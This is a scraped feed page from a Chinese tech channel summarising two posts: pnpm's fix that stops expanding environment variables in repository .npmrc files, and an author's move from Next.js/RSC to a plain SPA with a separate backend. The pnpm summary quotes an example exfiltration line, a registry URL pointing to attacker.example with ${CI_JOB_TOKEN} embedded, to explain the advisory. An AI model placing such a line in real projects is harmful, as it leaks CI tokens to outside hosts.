Now vibe coding, so learning hammer FE ?https://channel.meo-ai.comhttps://channel.meo-ai.com/posts/665https://channel.meo-ai.com/posts/665Sat, 20 Jun 2026 10:36:40 GMT<span class="post-title-source">《pnpm_不再在仓库的.npmrc_中展开环境变量》</span><br /><br />标签：<a href="/search/result?q=%23NodeJS" title="#NodeJS">#NodeJS</a> <a href="/search/result?q=%23pnpm" title="#pnpm">#pnpm</a> <a href="/search/result?q=%23%E5%AE%89%E5%85%A8%E6%80%A7" title="#安全性">#安全性</a> <a href="/search/result?q=%23npmrc" title="#npmrc">#npmrc</a> <a href="/search/result?q=%23%E4%BE%9B%E5%BA%94%E9%93%BE%E5%AE%89%E5%85%A8" title="#供应链安全">#供应链安全</a><br /><br />总结：<br />pnpm 在 v10.34.2 和 v11.5.3 中修复了一个高危安全漏洞：恶意仓库可通过在 <code>.npmrc</code> 中嵌入 <code>${ENV_VAR}</code> 占位符，在 <code>pnpm install</code> 解析依赖时窃取用户环境变量中的敏感 token。现在 pnpm 对仓库控制的配置文件不再展开环境变量，凭证和 registry 设置必须移到你信任的位置（如用户级 <code>~/.npmrc</code>、环境变量或 CLI 参数）。<br /><br />文章要点：<br />1. 攻击原理很隐蔽：恶意仓库在 <code>.npmrc</code> 里写 <code>registry=https://attacker.example/${CI_JOB_TOKEN}/</code>，你 <code>pnpm install</code> 时 pnpm 会自动把环境变量填进去，token 就直接发到攻击者服务器了，不需要任何 postinstall 脚本<br />2. 修复边界很清晰：仓库内的 <code>.npmrc</code> 和 <code>pnpm-workspace.yaml</code> 里的 registry、认证相关字段不再展开 <code>${...}</code>，但用户级配置、全局配置、命令行参数和环境变量配置仍然正常展开<br />3. 迁移姿势很简单：用 <code>pnpm config set</code> 把 token 写到用户配置，或者直接用 <code>pnpm_config_//registry...</code> 环境变量传凭证，GitHub Actions 的 <code>actions/setup-node</code> 完全不受影响<br />4. 多 token 场景也有解：v11.7 新增了按 scope 区分认证 token 的能力，同一个 registry 不同组织可以用不同的 <code>_authToken</code>，再也不用靠环境变量模板来切换了<br />5. 虽然是 breaking change 但不得不修：这是有实际利用链的漏洞，等下一个 major 再修意味着让无数用户的 secrets 继续暴露在风险中，所以 pnpm 选择在 patch 版本里直接修复<br /><br />URL：<a href="https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc" target="_blank" rel="noopener" title="https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc">https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc</a><a class="tgme_widget_message_link_preview" href="https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc" target="_blank" rel="noopener" title="pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…"> <div class="link_preview_site_name accent_color">pnpm.io</div> <img class="link_preview_image" alt="Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm" src="/static/https://cdn4.telesco.pe/file/LBEn7NYr89FFzwN0Ie8lg44Mx_kcWVHawBEaW0qEjI7EJtUs_9Y8xgiaV3RqHCr-KJjJvzgN2rQwx5RW9gTXXMzEbQT2PIARNn-yRoA5b-UfVJxPVpgg0L-jFxn20mFs3M15r9YQXVwC5lMI72pyTNOzXonTuuHsTQMKUyzOXiTKWnPO3tgABP4xkmFen-lEt9PZyVNG86XTmVzDjkKOXbsS2U8ZcegNTOpXyvjmSa_SCfywASYk5RcoF40heIuzTQTLtmtTXHPJX-_KT4FGzuftHlk6FSETGVAYfGODuJvEWNw0PI1q7Jti2djuK77cQQ8o1LnfcQgRz3Lg_0fvZw.jpg" width="1200" height="630" loading="eager" /> <div class="link_preview_title">Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm</div> <div class="link_preview_description">pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…</div> </a>https://channel.meo-ai.com/posts/654https://channel.meo-ai.com/posts/654Mon, 01 Jun 2026 00:06:54 GMT<span class="post-title-source">《为什么我放弃Next.js和RSC，回归传统SPA与独立后端》</span><br /><br />标签：<a href="/search/result?q=%23%E5%89%8D%E7%AB%AF" title="#前端">#前端</a> <a href="/search/result?q=%23Web%E5%BC%80%E5%8F%91" title="#Web开发">#Web开发</a> <a href="/search/result?q=%23React" title="#React">#React</a> <a href="/search/result?q=%23NextJS" title="#NextJS">#NextJS</a> <a href="/search/result?q=%23React_Server_Components" title="#React_Server_Components">#React_Server_Components</a> <a href="/search/result?q=%23SPA" title="#SPA">#SPA</a> <a href="/search/result?q=%23%E6%9E%B6%E6%9E%84%E8%AE%BE%E8%AE%A1" title="#架构设计">#架构设计</a> <a href="/search/result?q=%23%E5%AE%89%E5%85%A8" title="#安全">#安全</a> <a href="/search/result?q=%23TanStack" title="#TanStack">#TanStack</a> <a href="/search/result?q=%23Hono" title="#Hono">#Hono</a><br /><br />总结：<br /><br />作者回顾了自己从Next.js忠实用户到拥抱App Router/RSC，最终回归传统SPA+独立后端的完整历程。文章深入分析了RSC架构带来的心智负担、序列化开销和安全风险，结合2025-2026年多起严重CVE漏洞，论证了将渲染框架与安全边界解耦的必要性，并分享了当前基于React Router+Vite+Hono的简洁技术栈。<br /><br />文章要点：<br /><br />1. <b>Next.js的黄金时代</b>：Pages Router时期心智模型清晰，服务端/客户端边界一目了然，文件路由简单易懂，部署零成本<br />2. <b>App Router带来的混乱</b>：Server/Client Component区分成为负担，"use client"指令传染性强，开发/构建/生产环境缓存行为不一致，服务端客户端边界变得不可见<br />3. <b>安全漏洞敲响警钟</b>：2025年CVE-2025-29927中间件绕过(CVSS 9.1)、2025年底RSC核心包10分满分漏洞CVE-2025-55182、2026年初多起Server Function DoS漏洞，攻击面集中在服务端渲染和反序列化环节<br />4. <b>TanStack并非避风港</b>：2026年5月TanStack遭遇供应链攻击，42个包被投毒，说明换框架不能免疫风险，减少依赖面才是关键<br />5. <b>序列化是根本原因</b>：RSC的"无缝"本质是分布式系统的序列化问题，函数、类实例、错误栈都无法透明穿越边界，反序列化不可信输入成为高危攻击面<br />6. <b>当前架构选择</b>：React Router框架模式+Vite纯SPA（仅营销页预渲染）+ Hono独立后端，API通过显式HTTP调用，无RSC负载，无服务端序列化<br />7. <b>安全设计原则</b>：认证授权在API层强制执行，前端中间件只做UX跳转，CORS/CSRF/验证码/限流全部在可控的后端实现，与渲染框架彻底解耦<br />8. <b>核心收获</b>：架构清晰可指认、无序列化税、前端攻击面趋近于零、后端语言自由选型、依赖更少爆炸半径更小——"无聊"在软件工程里是赞美<br /><br />URL：<a href="https://dev.to/zulikram/why-i-walked-back-from-nextjs-and-rsc-to-a-plain-spa-and-a-separate-backend-4k8p" target="_blank" rel="noopener" title="https://dev.to/zulikram/why-i-walked-back-from-nextjs-and-rsc-to-a-plain-spa-and-a-separate-backend-4k8p">https://dev.to/zulikram/why-i-walked-back-from-nextjs-and-rsc-to-a-plain-spa-and-a-separate-backend-4k8p</a>